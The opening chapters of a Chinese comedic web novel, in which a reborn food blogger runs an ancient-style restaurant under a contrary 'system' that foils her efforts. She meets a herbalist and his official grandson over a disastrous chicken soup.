《开局一座小食楼》
1. 系统逼她咸鱼了
晋江文学城首发
文/一枝春山
2021.8.28
位于濮阳城长安街闭楼数日才开张不到一天的百膳楼被人围的水泄不通。
一刻钟前,左脸有一道狭长刀疤的男人走进楼里,抓住一小二的衣襟道:“去把你们掌柜找来。”
小二带着笑,毕恭毕敬道:“不知这位客官找我们掌柜作甚?”
“作甚?”中年男人冷笑一声,突然掀翻了一张桌子,“老子兄弟吃了你们楼里的饭菜后上吐下泻,你说老子作甚?”
楼里的食客见了这架势,恐城门失火,殃及池鱼,纷纷扔了筷子往外跑。
那被抓衣襟的小二也忙不迭是跑到后厨对着沈秋吟急道:“掌柜的,出事了。来了一人,掀翻了楼里的桌子,说他兄弟吃了咱楼里的饭菜后上吐下泻。”
沈秋吟正吃着苹果,听了他的话,不光眼皮子没抬一下,还懒洋洋的又啃了一口,不急不缓地说:“你去问问那人,想要求赔偿多少,要是超过一百两,你就让他闹吧。”
小二一听这话傻眼了,掌柜的不应该着急忙慌地冲出去解释吗?一旦赔偿,那不就承认了楼里卖出去的饭菜有问题吗?这岂不是在自毁名声!
沈秋吟看他傻站着,拍了拍他的肩,“愣着做啥,你还不快去。”
“啊!哦……”反应过来的小二忙不迭是的又往正堂跑去。
待他走后。
一个声音突然在沈秋吟的脑海里响起——
“检测到到宿主消极处理问题,启动矛盾反转模式。”
沈秋吟听了之后,没多大反应,只在心里骂了一句垃圾系统。
系统:“请宿主停止辱骂,系统不是垃圾。请宿主停止辱骂!请宿主停止辱骂!”
沈秋吟将苹果核扔在树下,拍了拍手,“是是是,你不是垃圾,你是反骨,你特别厉害,厉害到要上天的那种。”
系统:“怀疑宿主在反讽我,但我没有证据。”
唉,说起这“系统”,沈秋吟都是泪。
她本是个现代人,她本应该在夏威夷的海滩上穿着比基尼享受着阳光,看着帅哥们的八块腹肌。奈何运气霉到了顶,碰到了巨浪,她一个不小心成了浪下亡魂。
在她死的那刻,一个充满磁性的声音在她脑海中响起,它说——
“反骨系统14843为你服务。”
“正在绑定宿主,请宿主憋一口气不要挂机。”
“绑定完成,检测到宿主存在生命危险,启动救命模式。”
“检测到宿主存在强烈活命意识,启动一命呜呼模式。”
“检测到宿主没有求生意识,启动紧急救命模式。”
“检测到宿主对此世界毫无留恋,启动世界更换模式。”
“……”
“世界更换”四个字,是沈秋吟最后的印象。
后来,等她迷迷糊糊睁开眼时,世界果然更换了,她来到了一个历史完全没有的朝代,并且还成了个孤儿,更惨的是还是那种爹妈才死不久的孤儿。简直是怎一个“衰”字了得。
但幸好,她爹妈死之前还给她留了一座食楼,不然的话,她只能去喝西北风了。
不过,她觉着还是得感谢自己,没穿之前是个挺有名气的美食博主,煮饭烧菜不在话下。
于是,秉承“既来之则安之”的道理,沈秋吟用最快的速度搞清楚这个朝代,便开始接手百膳楼了。
又秉承着现代人在古代定要有一番大作为的理念,沈秋吟二话不说,大手一挥,烧烤、火锅统统都给我整起来。
想法一上头,沈秋吟立马让人去打造餐具。
就这样,在某个月黑风高的晚上,百膳楼前,一片红火,烧烤的油香味,火锅的麻辣味,在空气中撞出了剧烈火花,你不让我,我不让你,引得路过的人都围了上来。
当第一个人拿起烤串时,一个声音又响了,是谁呢?哦!是她已经忘记了的狗系统。
它说:“检测到宿主积极营业,启动冷场模式。”
一瞬间,那拿着烤串,原本吃得正享受的人突然冷着脸说:“这都什么玩意儿?这肉硬的像石头似的,咬都咬不动,就这垃圾东西,也敢拿出来卖人,简直有辱斯文。”
他将烤串一下子扔在地上,还很嫌弃地擦了擦手。
他此话一出,排队的人纷纷散去,徒留她一人站在百膳楼前,天公还十分做美的降下了瓢泼大雨,似乎在为她凑一曲“不要悲伤”。
沈秋吟这时候还没有注意到系统的话,她只觉得是烤串、火锅对古人没有吸引力。毕竟这两玩意儿本就是古人传下来的。
所以,奶茶是时候登场了。这孕育着现代人智慧结晶的奶茶啊!她就不信迷不死这群小样儿。
于是,在几日后。
百膳楼前,又火了。
沈秋吟拿着纸做的喇叭大喊——
“父老乡亲们,走过路过,千万不要错过。百膳楼招牌奶茶,今日不要十两、不要八两,只要十文就能买到了……买不了吃亏,买不了上当……都来瞧一瞧勒……”
听了这话,过路人到是有点稀奇——
“这奶茶是个啥玩意儿?”
“不知道。”
“那去瞧一瞧热闹。”
“好好好。”
就在每个人的好奇心作祟的情况下,百膳楼前,长长的队伍排了起来。
沈秋吟立马放了喇叭,挽起袖子,准备给这群古人露一手。
只见她双手其下,拿着杯子施展麒麟臂,左摇摇右摇摇,一杯乳白中泛着一点淡黄的奶茶好了。
排在第一个的男人接过这杯奶茶,在沈秋吟期待的目光下喝了一口,正当他要说话时。
系统的声音又响起了——
“检测到宿主积极营业,启动冷场模式。”
眨眼间,那男人的脸垮下来,“这什么鬼东西,难喝得死了。你是怎么有勇气拿出来卖的?”
这话成功打击到了沈秋吟。
“什么!难喝?那赶快走。我听说东风楼推出了新的吃食,咱快去那里排队,等会儿去晚了,恐只能看着别人吃。”有人说。
“好好好!”一堆人的附和给了沈秋吟又一重打击。
人群在顷刻间散去,百膳楼又恢复了往日的冷清。
沈秋吟望着远去的人们,低下了头,她想大喊一句——苍天啊!
但为了保持形象,她放弃了。
可苍天仿佛是感应到她的呐喊,一声轰隆,闪电时隐时现,风刮的突突地响,一场雨,来了。
人群四处逃散,有伞的跑得慢,没伞的跑得快,家近的跑回家,家远的躲在檐下等雨停。
沈秋吟慌忙的将桌子搬到百膳楼里,看着这雨,给自己做了一杯奶茶。
边喝边在脑中复刻刚才的画面。
突然,她想到了系统的话。
那人喝了奶茶后,系统说了句“检测到宿主积极营业,启动冷场模式”,上次卖烤串的时候,系统也说了这句。而捧场的路人也都是在系统说了这句话后,说她做的奶茶、烤串难喝难吃。这莫不是狗系统搞的鬼?
沈秋吟想要验证自己的想法,决定再试一次。
她这次打算弄冰粉。
这东西,甜而不腻、清爽可口,乃是炎炎夏日的必备品,但凡是人,就没有能逃过它的魔爪的。除非有东西搞怪。
说干就干,她花了三天时间做好准备食材,在一个热闹非凡的晚上,大张旗鼓的宣传,果然,在第一个吃了冰粉的人要开口说话时,
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狗系统说出了那句——
“检测到宿主积极营业,启动冷场模式。”
霎那间,场子真的冷了,冷得仿佛十二月的寒冬,北风呼啸,再加雨雪。老天还应景般的刮了一阵冷风,让人在夏日也不禁寒颤一下。
但沈秋吟是个不信邪、不服输、积极向上的好孩子,从此她费尽心机与系统斗志斗勇。
然后——
“检测到宿主努力减肥中,启动体重增加模式。”
“检测到宿主努力上进中,启动懒惰模式。”
“检测到宿主努力美白中,启动日光狂晒模式。”
“检测到宿主……”
在数次“检测到”下,沈秋吟败了,败得一塌糊涂,败得连斗下去的勇气也没有了。
于是,沈秋吟变了,她再也不是那个不信邪、不服输、积极向上的孩子了,她变成一条咸鱼了,一条秉承能睡绝不坐,能坐绝不站,能少站就绝不多站的咸鱼。
沈秋吟叹了口气,回忆不能细想,一想就是心酸的眼泪啊!
系统:“我与宿主的回忆都是美好的。请宿主不要用‘心酸’两字形容。”
沈秋吟:“是啊!美好,真是美好的我想拍你,最好是一巴掌能把你拍死。”
系统:“……”
沈秋吟将手上留下的苹果汁洗净,拍了拍肚子,有点扁了,她叫道:“王师傅,麻烦帮我做碗打卤面。”
说完,她便继续躺在树下的软榻上,晒着太阳,美滋滋地等着王师傅做好面后,给她端上来。
咸鱼呀!真是美妙。她笑嘻嘻地想。
而在这时,刚才通风报信的小二又匆匆忙忙地跑进来,“掌柜的!掌柜的!掌柜……”
“又出啥事儿了?”沈秋吟问道。
小二拍了拍胸脯,顺了口气,说:“反转了!反转了!”
沈秋吟兴趣缺缺道:“怎么个反转法?”
小二道:“我正要与那人商谈赔偿价格时,看热闹的人群里就有人高喊着他们今日也吃了楼里的饭菜,却什么事也没有,然后便说那人是讹诈,就想偏钱。”
一口气说了这么多字,小二差点没被憋死,于是又顺了一口气,继续道:“我听了这些话,便问他事情的起因经过结果,他答不上来,便一气之下自己走了。但最奇的事儿,咱们食楼的生意没有因他一闹而减少,反而增多了。”
开食楼的最怕人闹事,一闹事,不管这事儿是不是食楼干的,名声都得受损,流失一批客源,但百膳楼却是不减反问哈,所以小二称奇。
“那得好好感谢一下刚才开口的人。”沈秋吟想了想道。
毕竟人家帮了忙,可不得表示表示。
“小人也是这么想的,所以特地记了一下刚才开口的人。他们是大理寺少卿姜泊清、卖玩具的王二狗、卖菜的张大娘……”
大理寺少卿。管刑事案件的。这样的人还是少接触的好。再说了,人家可是大官,顺手帮个忙,转身就忘了也说不定。
想到这里,沈秋吟说:“除了大理寺少卿姜泊清,其他的请到百膳楼吃顿饭吧。”
“为何不请姜大人?”小二奇怪道。
沈秋吟道:“章丘,你是不是傻,这当官的是咱们能接触得到的?”
章丘恍然大悟,一巴掌拍在自己的脑门上:“对哦!”
沈秋吟觉着自己脑门上有一群乌鸦飞过,还嘎嘎地叫。
“我这就去安排宴请的事儿。”
系统这时突然道:“检测到宿主还有一段未了的恩情。请宿主前往桃花村,报答此段恩情。否则雷电警告。”
轰隆隆一声雷鸣在她脑中闪过,吓地沈秋吟立马冲出了后厨。
身后做好面的王师傅喊道:“掌柜的,你不吃面了呀?”
2. 薄情?泊清?
沈秋吟未了的这段恩情,还得从几月前说起。
濮阳城外有个桃花村,如其名,村里面种满了桃花。
那时候正逢三月,是赏桃花的好时候,桃花村的名字一下子就传到了沈秋吟的耳朵里。
沈秋吟想起了桃花酥。
桃花酥甜而不腻,老少皆宜,若是做来卖,能卖不少银子。
沈秋吟心一动,独自一人驾着马前往桃花村摘桃花。
哪知,正当她摘的欢喜的时候,一条蛇从草丛里钻出来,咬了她一口就跑,让她连个颜色都没看清,便留下了脚上的两个齿印。
她安慰自己可能是条菜花蛇,毒性不强,怎知,就一会儿的功夫,蛇毒便侵入五脏六腑,使她浑身难受,吐了好大一口老血。
她倒在地上,拼了干饭的劲儿使劲喊,希望有人来救她。
皇天不负有心人,在她的呐喊下,眼见有人了来了,但是——
系统又作祟了!
它说:“检测到宿主存在强烈求生意识,启动丧命模式。”
此话一出,沈秋吟震惊之余,还带着绝望。狗系统是真狗,这世上怎么就有这么个不是东西的玩意儿。
她放弃了挣扎,安静地闭上眼睛,等死。
却在这时,来了个老人家。
老人家背着竹兜子,掀开她的眼皮看了一眼,就走了。
沈秋吟见他走了,也没叫住他,心里想着她这次死了会去哪里?去哪里都好。只要不跟这狗系统绑在一起就行。
一阵漫长的等待,她的意识逐渐模糊,死亡或许在降临,她的眼皮也越发重。
她的视线已经朦胧起来,要闭眼之际,那个离去了的老人家又回来了,手里拿着一束草药。
她一下子惊醒了过来。
老人家先将她腿上的蛇毒清理出来,再将草药碾碎,抹在她的伤口上,沈秋吟的小命,就这样突然的保住了。
她有点意外,有点震惊,当然不用死了,还是很开心滴。
之后,在老人家的帮助下,沈秋吟回了百膳楼。
沈秋吟想不出怎么感谢他,便打算给他一百两银子让他自己买自己想买的东西,老人家却死活不要,偷偷溜走了。
他走了,沈秋吟也不去追他,想着等她伤好之后再登门道谢。怎知,光顾着跟系统斗智斗勇,她把这事儿给忘了。
若不是系统今日突然提起,她可能到死也想不起还有这段事儿了。
不过,这都是过了好几月的事了,系统为何会在今天提起,她想不明白?
系统冷不丁地开口道:“宿主,你只管执行即可,其他的就别想了。”
“我想东西也惹到你了?”从前她看小说,那些绑定了系统的人个个都走上了人生巅峰,唯有她,绑定了一个狗系统,自己不光走不上巅峰,还随时存在丧命的危险!也是倒霉到顶了。
“我是怕宿主想破脑袋也想不出为什么。这才叫你不要想,节省力气的。”系统“哼哼”两声,它为宿主着想,宿主竟然还这样跟它说话,生气。
“闭嘴。滚蛋。”
系统消失在她的脑海里。
桃花村离濮阳城不远,沈秋吟策马半刻钟便到了。
这村落依山傍水,在昨夜经过雨水的洗礼后,更显清新。
沈秋吟深深地吸了一口气,果然,城外的空气就是比城内的新鲜,也不知道这个时代空气能不能卖钱,要是能,她就收集点拿去卖。
咸鱼虽然要有个咸鱼样,但做个天天想发财的咸鱼岂不更妙。不过,沈秋吟只能想,毕竟,这想法太过前卫,狗系统肯定会和她对着干!
系统:算你有自知之明!
村落里人来人往不便驾马,沈秋吟牵着马步行去那老人家的住处。
老人家的住处在村落深处,沈秋吟走到路上没人的时候,也就走到了老人家的住处。
老人家正在院里弄草药,一个男人一瘸一拐的从里屋出来,笑着对他说:“多姜雁叔,不然我这腿就废了。”
姜雁道:“乡里乡亲的,说什么谢。这草药你带上,一日吃三次,吃完之后再到我这里复诊。”
他将包好的草药用绳系在男人的拐杖上。
“我记住了。”
等男人一瘸一拐走开后,沈秋吟才叫道:“姜爷爷。”
姜雁抬头一看,想了几秒,“沈丫头?”
“是我呢!”
“你腿好了?”
“好了。多谢爷爷挂心。”沈秋吟将手上的盒子给他,“这是我自己做的桃花酥,特地给您带的。谢谢您上次救了我”
幸好她走时顺了这一盒糕点,不然就得空手感谢,略显尴尬了。
姜雁不接,“你来就来,带这些做什么。拿回去。”
“爷爷你就拿着吧。这桃花酥不值钱。你平日里吃着玩儿。”
姜雁拗不过她,收了下来。
在他将桃花酥放好后,沈秋吟松了口气,心想着任务完成了,不用挨雷劈了!呜呼,真开心!
怎知下一秒系统就泼来冷水:“任务未完成。”
任务未完成?
“你有没有搞错?”
来这个世界这样久了,她只欠了姜雁这一段恩情,刚才已经当面感谢了,怎会任务未完成!
她怀疑系统存心搞她!
系统答道:“我肯定以及确定宿主没有完成任务哦!还有,我没有存心搞宿主!”
系统诚实可爱,才不会玩阴的!
“所以,我该感谢谁?”
她印象里只有姜雁帮过她。
“只要宿主待在这里不走,就会遇见的。”
待在这里不走?
这话就很灵性了!
是待在这里一天不走?还是待在这里一辈子不走?
前者她觉着不可能,后者她觉着是系统能干出来的事儿!
系统“额”了一声,“我没你想的那么恶毒!”
“意思是就一天?”
“差不多!”
待在这里一天,那也挺尴尬的呀,沈秋吟忽然想死!
“那不然,雷劈……?”它一向是个好系统,会实现宿主的愿望的!
沈秋吟连忙制止:“大可不必!”
“宿主不愿,那就好好完成任务吧。”音落,系统下线。
沈秋吟看向姜雁,犹犹豫豫不知该说些什么话才能名正言顺留下来。
要不,再被蛇咬一口?
咦!还是算了,怪疼的!
那还能怎么办!
她想得出神,姜雁却在此时道:“沈丫头吃完饭再走吧。恰好今日我挖到了一支百年山参,正打算炖鸡!”
留下吃饭!沈秋吟的双眼亮了起来,这就是送上门的理由呀,不要白不要,她当即不客气地点头:“好好好!”
而且百年山参!这玩意儿她只听过,没吃过,不得尝尝!
系统没好气道:“出息!”
沈秋吟“哼”了一声:“你管得着么你!”
“嘁!谁想管你了!”系统又下线。
姜雁笑道:“那你先找个地方坐坐,我去后院看看我孙子杀鸡杀得怎么样了。”
沈秋吟刚想说她去帮忙的,一听他孙子在,她进去后,两人不熟,做起事来那多不好意思呀,赶忙改了口,“那我就坐享其成了!”
“应该的!”姜雁答,毕竟来者是客。
他进去后,沈秋吟俯首看姜雁种的草药,想着哪些草药可以入食,回去好让王师傅给她整个药膳吃吃。
沈秋吟看的起劲,院外的马儿突然嘶鸣一声,吓了她一大跳。
沈秋吟直起身子,走到它身边,拍了拍它的头:“薄情,你叫什么叫,吓到我了。”
像是与她作对一般,薄情又叫了一声,且比刚才那声更加响亮。
“薄情我让你别叫。再叫信不信我……”
“谁在叫我?”一道浑厚的男声突然响起。
沈秋吟转头看,站在远处的男人穿一身黑衣,八尺高,面容英俊,眉目充斥英气,冷着脸,手背在身后。
他站在廊下,阳光落在他的身上,有风吹过,院里的花被风吹到廊下,站在她的位置看他,他好像从花里走出来的不染俗尘的仙人,就是脸太冷了。
看着他,沈秋吟突然脸红起来,还烫得厉害,像有一把烈火在烧似的。
她这是怎么了?
难到是这冷面阎王给她下套了?不然怎会全身发热!
男人也看着沈秋吟。
眼前的姑娘美得惊心动魄,特别是眉眼——天然一段风韵,全在眉梢;平生万种风情,悉堆眼角。
姜泊清心跳有一瞬间快了几下,面上却不显露。
他走到她的面前,皱着眉头问:“刚刚你叫
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我?”
“叫你?没有呀!我刚刚在叫马!”
她连这男人的名字都不知道,怎么会叫他?
幻听了是吧!
姜泊清“哦”了一声,那就奇怪了,他刚刚明明听见有人叫他。莫非真是幻听了?
他正欲转身回后院,又听到“薄情”二字,只是那姑娘却是对那嘶鸣的马叫的。
他问道:“姑娘,你的马叫什么?”
“薄情。”沈秋吟怕他不清楚,还解释道:“薄情寡义的薄情。从前这马听了人说起薄情汉便忍不住嘶鸣,我父亲便给它取了这个名字。”
姜泊清的眉头皱的更深了,泊清,薄情,这两词字虽不同,音却相似,难怪他以为这姑娘在叫他。
可是这马叫这名,委实让他心里不舒服,正要问她能否给这马儿换个名字时,姜雁却叫他去后院的架子上拿山参,他到嘴的话便变成了——
“你会做饭吗?”他实在不想吃老爷子做的饭。
姜雁厨艺不行,却喜做饭,菜而不自知,还觉自己做得很好。从小到大,他不知被他荼毒了多少次,如今实在忍不了了。
“啊?会。”他要做什么?
“那你能去做饭吗?”
“能……吧。”冲着他那张英俊的脸,她到有点不忍拒绝。
只是,狗系统这时道:“检测到宿主积极努力表现自己,启动懒惰模式。”
下一秒,姜泊清道:“还是算了,你是客人,让你做饭,有失礼仪。”这般美的姑娘,在家肯定是十指不沾阳春水的,说不定做菜还不如老爷子做的好。还是算了吧!
再说,老爷子做的饭,其实忍一忍,也能过去。
沈秋吟咬牙切齿,心里有一万匹吃草的马在奔腾,希望它们能后踩碎了这狗系统。
系统:“禁止人身攻击!禁止人生攻击!我不是狗。请宿主停止辱骂!停止辱骂!”
要是它有形,沈秋吟真能一脚把它踢飞了。
姜泊清转身去了厨房。
沈秋吟坐在院里慢悠悠地喝茶,躺着椅子那刻,又感叹起当咸鱼真好,衣来伸手,饭来张口就行。
大概过了半个时辰,姜泊清和姜雁同时端着热气腾腾的饭菜走出来。
沈秋吟正要去帮忙。
系统又道:“检测到宿主积极帮忙中,启动懒惰模式。”
果然,姜雁道:“沈丫头快坐着,我与泊清能行。”
泊清?薄情?
她想起了姜泊清问她是不是在叫他事儿。当时觉得有些莫名其妙,现在破案了,泊清,薄情,字不同,音相似。这可真够巧的。
等等!泊清!姜泊清!这不是大理寺少卿的名字吗?
她总算知道狗系统要她当面感谢的是谁了!
姜泊清今日在百膳楼被人找麻烦时施以援手了,而她怕麻烦,让章丘请了所有帮百膳楼解围的人吃饭,独不请他,这不就欠下了一段未了的恩情吗?
想到这里,沈秋吟在心里叹道,狗系统果然是狗啊!
她不想招惹什么偏偏来什么。
“你可是大理寺少卿?”她问他,万一是同名同姓也说不定。
“是。”他道。
他答得这样肯定,可曾想过她的心会碎。
苍天呀!大地呀!
她在心里激情呐喊,系统却泼下冷水——
“宿主,快感谢哦!不然雷电降临哦!”
沈秋吟收起欲哭无泪的表情,立马笑吟吟道:“今日百膳楼有人闹事,多谢姜大人出手相助。若大人有空,请到百膳楼用膳,我好感谢一番。”
搞不过就加入,谁怕谁?不就是感谢么?几句话的事,又不会掉一块肉。
姜泊清疑惑地问:“你是?”
她道:“我是百膳楼的掌柜,沈秋吟。”
姜泊清想起来了。
“多谢就不必了。我说的是事实。”他的确吃了百膳楼的饭菜,且没有上吐下泻。
“这是怎么回事?”一旁不明所以的姜雁问。
沈秋吟将今日的事儿说于姜雁听后,姜雁道:“那泊清以后多关照关照百膳楼,莫让沈丫头被人欺负去了。”
沈秋吟忙摆手,“不用,不用。”
姜泊清是什么人,他若关注百膳楼,还有客人敢到百膳楼吃饭吗?
“嗯。”姜泊清点头。
啊这……
3. 乐极生悲
饭桌上,姜雁先舀了一碗汤递给沈秋吟。
她接过,看着那褐色的汤汁上面漂浮着绿油油的葱花,葱香在鼻息间萦绕。她吸了一口气,心旷神怡,顿生食欲,端着碗直接喝了一大口。
然而,当汤汁在唇齿间流淌时,她的脸皱成了一团,白皙的肤色也渐渐浮现出了酱紫色,好像喘不过气的样子。
老天……谁能告诉她这是什么汤!为何……为何,会这么难以下咽!
山参是老山参,鸡也是老母鸡,这味道,属实难以形容了……像什么呢?像……形容出来,形容不出来。
反正,就貌似螺蛳粉旁边放着榴莲,榴莲旁边加上臭豆腐。对,没错,它是臭的。
她活了这么久,头一次喝到臭的汤。
啊!等等!她要被憋死了。
沈秋吟不想死,心一横,吞咽了下去了。而后重重地舒了一口气,活了过来。
放下碗的那刻,她蓦然想到刚才姜泊清问她会不会做饭的事儿。原来如此!原来如此!原来如此呀!
她以为姜雁是个颇有能力的厨子,才敢用百年山参炖鸡,没想到他是个手残。早晓得,她就违背系统指令了,电击什么的都是小事,唯有吃才是大事。
“沈丫头觉得如何?”姜雁用期待的眼神看着她。
沈秋吟努力让自己的表情舒展,犹犹豫豫,在说实话还是善意的谎言间反复横跳。
说实话,他怕伤了一个老人家做菜的心,毕竟年纪这么大了,还心挂做饭,不容易呀,不容易。可不说实话吧,她又难以下咽……唉。这都是什么事呀!
到底是为了不打击姜雁的心,沈秋吟昧着良心说:“这汤不错。”至少最后她心一横,还是能咽下。
姜泊清瞪大了眼睛,怀疑自己的耳朵出问题了。
他刚刚听到了什么?
汤不错?她是真的喝老爷子的汤吗?还是喝的只是空气。但凡是真的喝了一口,也不会说出这样的话。
简直不可置信。
他长这么大,还是是第一次听到有人夸老头子做的汤“不错”的。
他怀疑这姑娘味觉有问题?要不然就是脑子有问题?
“真的吗?真的吗?”姜雁颇为激动地又问了一遍。
沈秋吟没说话,只眨眨眼,表示真的。谎话说多了,会变丑,但眨眼应该不算吧……毕竟,这是身体的自然反应而已。
这一瞬间,系统忽然冒了个泡:“检测到宿主说谎,启动谎话成真模式。”
谎话成真?
沈秋吟一愣。莫不是她说这汤好喝,就真的好喝了?
她目光一亮,又端起碗了碗,准备再试试。但因着先前的味道给她的打击太大,她怕是自己幻听了,所以只敢喝一小口。
姜泊清的双目又睁大了些许,简直觉得这个世界魔怔了,她这是在用实际行动证明这汤真的还不错吗?
这,这,这姑娘,口味真重呀!不是凡人,不是凡人!
沈秋吟自然没注意到他的神色变化。当小小一口汤,再次在她的嘴里流淌时,取而代之的已经是前所未有的美味。
就这浅浅的一口,已经让她完全沉浸在另外的世界之中了。那世界充满了香味,仿若百花盛开,万芳争艳。
百年山参与老母鸡碰撞出别样的风味,细腻、鲜香在口齿间慢慢地穿梭,让她的味蕾绽放。
好,好喝,好喝极了!此汤只应天上有,人间那得几回闻。
这是她从未体验过的美味,心间只有一个念头——
人生只有一次,倘若现在死了,也可足矣。
嘤嘤嘤!狗系统终于做人了,冲着这一碗汤,沈秋吟头一次对系统生了愧疚之感,她以前不该骂它的,它是个好系统,化腐朽为神奇。
系统:呜呜呜!宿主终于做个人了。
系统的心里话已经完全引不起沈秋吟的注意。她端着碗,咕噜咕噜几口,一碗汤下肚。
这一刻,人生圆满!
沈秋吟赶快又舀了一碗,大口大口地喝。
这一刻,令她词穷。
姜雁见状,怕她呛着了,忙道:“沈丫头慢点,没人跟你抢。”
这桌上的汤,如今除了她,还没人动呢!
“对,没人跟你抢。”姜泊清附和道,心里却巴不得她快全喝完,这样他就可以不用受折磨了。
沈秋吟“嗯嗯嗯”点头,可速度却一点也没慢下来,一碗接着一碗喝。
这么好喝的汤当然得喝快点,不然等他们反应过来,还会有她的份吗?
她可是主打的一个出其不意,趁人之快!
姜泊清瞧着她的速度,在心想默默想,这姑娘真猛。是个狠人!
沈秋吟喝汤的速度虽然快,却也不失优雅,一举一动带着别样的风情。
姜泊清目看着看着,就生出了食欲。
他鬼使神差端起碗,舀了一小勺汤,视死如归地喝了一口。
原以为地臭味没有如期降临,山参裹着老母鸡的香味在口齿间徜徉,恰到好处的葱花更将这汤的鲜度提了一个档次。
美味,着实美味。仿若人间三月芳菲始,更像扶摇直上九重天,又如一阵清香扑鼻来。
这味道……妙,真妙,妙极了!
他仿佛置身在了一个奇妙的世界里,山参围绕,母鸡打鸣,葱香四溢。恨不得让他再干上十碗这鲜美的汤。
姜泊清想到做到,卯足劲一口喝完,忙不迭失又舀了满满一碗。
这会换姜雁呆了,那眼睛,瞪得老圆老圆了。他甚至还揉了揉自己的眼睛,怀疑是不是出现了幻觉。
他看到了什么!他的乖孙儿,主动舀了他做的汤喝。
这个世界怎么了?玄幻了?颠倒了?
反正就是不正常了……
沈秋吟喝汤的同时,瞥了一眼姜泊清干汤的动作,立马在心里咆哮。
不是说好了没人跟她抢吗?
这男人在干嘛?你放下碗,别喝,让我来!
啊啊啊啊啊啊啊啊!
姜雁此时回神来,呆呆地问:“泊清,你不是鸡汤过敏吗?你这是不要命了?”
沈秋吟“噗嗤”一声,一不小心将嘴里的汤洒了出来,弄到了身上。
姜泊清忙拿出一块手绢给她,姜雁替她倒了一杯水,一副有先见之明的样子说:“看吧,都让你慢些喝了。”
沈秋吟接过姜泊清递来的手绢,眼睛一直在洒出去的汤上打转。
罪过啊,罪过!她一个没忍住,可惜了这世间难有的汤。
如果我有罪,请让上天惩罚我!为什么要如此待我,洒掉的汤,简直比杀她都难受。嘤嘤嘤,要哭了!
可是,姜泊清,你真不是来搞笑吗?为了不喝你家老爷子做的汤,连鸡汤过敏这种谎话也说得出来。
如今她到要看看他如何收场。
“呛着没?”姜泊清关心道。
沈秋吟摇摇头,拿起手绢将洒在自己衣服上的汤擦拭干净,而后端起姜雁倒的水小口小口地喝,一双泛着光的眼不断往姜雁与姜泊清之间看,实足看好戏的模样。
姜雁沉着脸说:“说说吧,这鸡汤过敏的病什么时候好的
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?”从这说话的语气中便知,老爷子知道他在撒谎了。
姜泊清握拳掩面轻咳一声,试图缓解他落马后的尴尬。
他瞧着沈秋吟喝汤的样子,生了食欲,一时没忍住,就忘记了曾对老爷子撒过鸡汤过敏的谎言。
罪过!罪过!
沈秋吟的目光落到姜泊清的身上,等待他的下文,他到也镇定,面不改色说:“可能是去了边疆,吃不到好的,胃没那么娇气了,所以对鸡汤不过敏了。”
他这话的重点自然不在“胃”,而在“边疆”。他企图用“边疆”两字,让老爷子记起,他是刚从边疆回来的,受了极大苦楚的人,以唤起他的怜悯之心,望他手下留情,从轻处理。
但是,姜泊清忘了,姜雁这老头子,从小到大都不知道“怜悯”二字怎么写。
只见姜老爷子抽起筷子打在姜泊清的手上,骂骂咧咧道:“你这个兔崽子。老子从小到大教你要诚实,诚实!你到好,竟然撒起谎来了。”
姜泊清连忙将被筷子打红了的手背在身后,在屋里四处逃窜,大声喊道:“这还不是你逼的。”
姜雁吹胡子,瞪眼睛道:“我逼的?我逼你什么了?”
“你确定要我说出来?”姜泊清不确定道。
姜雁气急了,一巴掌拍在桌子上,大声说:“说。”他到要听听,他是如何逼这小兔崽子的。
姜泊清也不忍了,一股脑将埋藏在心里头几十年的怨气撒出来:“你做的饭菜在你自己心里是真没数,但我有数。你知道‘狗吃嫌’吗?意思是狗都嫌弃吃,你做的饭菜就是到了这个地步。可是,为了不打击你,我只能说谎,一次又一次生咽。你说,这是不是你逼的。”
姜泊清六岁跟着姜雁来到桃花村,吃了他做的饭菜十四年,若不是他真的命大,可能早就命丧姜雁手下了。
沈秋吟很难不赞同姜泊清的话,甚至偷偷地给他树起了一个大拇指。她喝第一口汤时,那可是差点没给噎住气。
幸好狗系统这次做了个人,让她的“谎话成真”,否则,她可能此时已经躺板板了!
于是,她看姜泊清的目光里不自觉的带着了一丝怜悯,这苦孩子,能活下来真是个奇迹呀!唉……可能是老天无眼呀……
姜雁听了姜泊清的吐槽,那叫一个气,抽起门边的扫帚,一个劲儿追着他打。
姜泊清被他打得毫无还手之力,上串下跳,嘴里还不饶人,一遍遍嚷嚷着难吃难吃。
姜雁更气了,横拿扫帚,仿若风萧萧兮易水寒,壮士一去兮,必拿姜泊清兔崽之命。
只见下一妙,姜雁追得姜泊清使劲儿的跑,逃命也不见得如此。
沈秋吟见了这场面,忍不住发笑,愣是把自己给笑抽搐了。
就这样围在屋里不知道跑了多少圈,姜雁累得捂着肚子,姜泊清也没好到那去,拍着胸口喘气,但嘴上还念着:“鸡汤鸡汤,难吃难吃。鸡汤鸡汤,难吃难吃”
姜雁缓了一口气,拿着扫把指着他,“小兔崽子,你看我怎么收拾你。”
姜雁宝刀未老,拼了最后一股劲儿冲了过去,姜泊清躲闪不及,被老爷子一扫帚打在了臀上,他吃疼地捂着挨打的地方,初心不改,继续道:“鸡汤鸡汤,难吃难吃……”
咬定青山不放松,任尔东南西北风,他姜泊清,绝不,绝不屈服。
沈秋吟笑得眼都眯成了一条缝,喉咙一阵一阵疼,却还停不下来。
而这时,系统的声音突兀响起——
“检测到宿主两面不一,启动单面模式,请宿主说出真心话,不然雷劈警告。”
4. 啊这,啊这
系统说完,一道电闪雷鸣在她脑中闪过,令她毛骨悚然,几度欲起身暴走。
搞事情,系统是认真的。想杀人,沈秋吟也是认真的。
系统核心发麻,但做为一个反骨,它岂能退缩,立马架势十足道:“请宿主尽快说出真心话,否则雷、劈、警、告哦!”
这“否则”一词用得真好,带着威胁,带着无尽的威胁,这“雷劈警告”也用得好,还一字一顿说,深怕她听不见似的。
很好!很好!一切都是这般好!
沈秋吟作为一个有骨气的人,怎么能不妥协呢!
只见她张嘴,跟打嘴炮似的,迅速道:“虽然姜爷爷从前做饭确实难吃,但今日的汤是真不错,你就不要责怪姜爷爷了。而且现在你喝鸡汤也不崽过敏,还不赶快多喝几碗。百年山参炖鸡,过了这个村就没这个店了。”
系统难得做个人,可不是过了这个村,没有这个店嘛!
不过,沈秋吟真的太佩服自己了,想出了“虽然……但”这样的句式,既说出了真心话,完成了狗系统的任务,又缓解了姜雁与姜泊清之间的剑拔弩张的氛围。她可真是个人才!必须得再奖励自己一碗鸡汤。
沈秋吟想到就干,拿起勺子将自己空荡荡的碗中添满。
她的话让姜雁的心顺不少,再加上她的动作,更是让他满意地摸着胡须。
还是她懂行、识货!
